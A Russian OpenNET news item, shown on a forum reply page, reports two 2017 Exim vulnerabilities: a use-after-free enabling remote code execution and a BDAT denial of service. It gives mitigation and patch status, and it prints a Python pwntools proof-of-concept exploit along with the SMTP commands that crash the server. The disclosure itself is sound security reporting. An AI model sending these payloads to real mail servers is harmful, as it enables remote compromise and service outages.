The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]



Индекс форумов
Составление сообщения

Исходное сообщение
"Уязвимость в Exim, позволяющая выполнить код на сервере"
Отправлено opennews, 27-Ноя-17 13:22 
В почтовом сервере Exim выявлена (https://lists.exim.org/lurker/message/20171125.034842.d1d75c...) критическая уязвимость (CVE-2017-16943 (https://security-tracker.debian.org/tracker/CVE-2017-16943)), которая может привести к удалённому выполнению кода на сервере с правами управляющего процесса exim при передаче определённым образом оформленных команд. Всем пользователям Exim в срочном порядке рекомендуется отключить расширение "ESMTP CHUNKING" (появилось с Exim 4.88) путем установки пустого значения в параметр "chunking_advertise_hosts" в файле конфигурации.

Уязвимость вызвана (https://bugs.exim.org/show_bug.cgi?id=2199) ошибкой, которая может привести к обращению к уже освобождённому блоку памяти в коде разбора заголовков почтового сообщения (функция receive_msg из файла receive.c). Заявлено, что известный вектор атаки применим только к веткам  Exim 4.88 и 4.89, в которых поддерживается команда  BDAT и расширение "ESMTP CHUNKING", которые применяются для кусочной передачи тела письма вместо передачи неделимым блоком при помощи команды DATA. При этом сторонние исследователи безопасности не исключают (https://bugzilla.novell.com/show_bug.cgi?id=CVE-2017-16943) выявление других методов эксплуатации уязвимости.


Так как сведения об уязвимости были оглашены (https://bugs.exim.org/show_bug.cgi?id=2199) через публично доступную систему отслеживания ошибок, без предварительного информирования в частном порядке, информация об уязвимости опубликована разработчиками Exim ещё до выпуска обновления с устранением уязвимости. Для применения также доступен предварительный вариант патча (https://git.exim.org/exim.git/commitdiff/4e6ae6235c68de243b1...). Обновление пакетов уже доступно для FreeBSD (http://www.vuxml.org/freebsd/68b29058-d348-11e7-b9fe-c13eb7b...). Проблема остаётся неисправленной в Debian (https://security-tracker.debian.org/tracker/CVE-2017-16943) (stretch), openSUSE (https://lists.opensuse.org/opensuse-security-announce/2017-11/), SUSE (https://www.suse.com/support/update/), Fedora (https://bodhi.fedoraproject.org/updates/?releases=F27&type=s...), Ubuntu (https://usn.ubuntu.com/usn/), RHEL/EPEL (https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-16943).

Для проверки подверженности систем уязвимости подготовлен прототип эксплоита (https://bugs.exim.org/attachment.cgi?id=1052), который сводится к передаче несуществующей команды с последующей отправкой команды "BDAT 1", команды BDAT без указания размера и  большой порции непечатных символов. Пример на Python:

   from pwn import *
   r = remote('localhost', 25)

   r.recvline()
   r.sendline("EHLO test")
   r.recvuntil("250 HELP")
   r.sendline("MAIL FROM:")
   r.recvline()
   r.sendline("RCPT TO:")
   r.recvline()
   #raw_input()
   r.sendline('a'*0x1100+'\x7f')
   #raw_input()
   r.recvuntil('command')
   r.sendline('BDAT 1')
   r.sendline(':BDAT \x7f')
   s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
   r.send(s+ ':\r\n')
   r.recvuntil('command')
   #raw_input()
   r.send('\n')
   r.interactive()
   exit()


Кроме того, в  Exim дополнительно выявлена (https://bugs.exim.org/show_bug.cgi?id=2201) ещё одна уязвимость в реализации "ESMTP CHUNKING" (CVE-2017-16944 (https://security-tracker.debian.org/tracker/CVE-2017-16944)), позволяющая вызвать отказ в обслуживании. Проблема также присутствует в функции receive_msg из файла receive.c, но связана с некорректной проверкой символа "." в конце блока, переданного командой  BDAT. Уязвимость приводит к бесконечному зацикливанию внутри функции bdat_getc и краху рабочего процесса из-за истечения свободной памяти, отведённой под стек. Для эксплуатации достаточно передать команды:

   EHLO localhost
   MAIL FROM:
   RCPT TO:
   BDAT 10
   .
   BDAT 0


URL: http://openwall.com/lists/oss-security/2017/11/25/2
Новость: https://www.opennet.ru/opennews/art.shtml?num=47633

 

Ваше сообщение
Имя*:
EMail:
Для отправки ответов на email укажите знак ! перед адресом, например, !user@host.ru (!! - не показывать email).
Более тонкая настройка отправки ответов производится в профиле зарегистрированного участника форума.
Заголовок*:
Сообщение*:
 
При общении не допускается: неуважительное отношение к собеседнику, хамство, унизительное обращение, ненормативная лексика, переход на личности, агрессивное поведение, обесценивание собеседника, провоцирование флейма голословными и заведомо ложными заявлениями. Не отвечайте на сообщения, явно нарушающие правила - удаляются не только сами нарушения, но и все ответы на них. Лог модерирования.



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру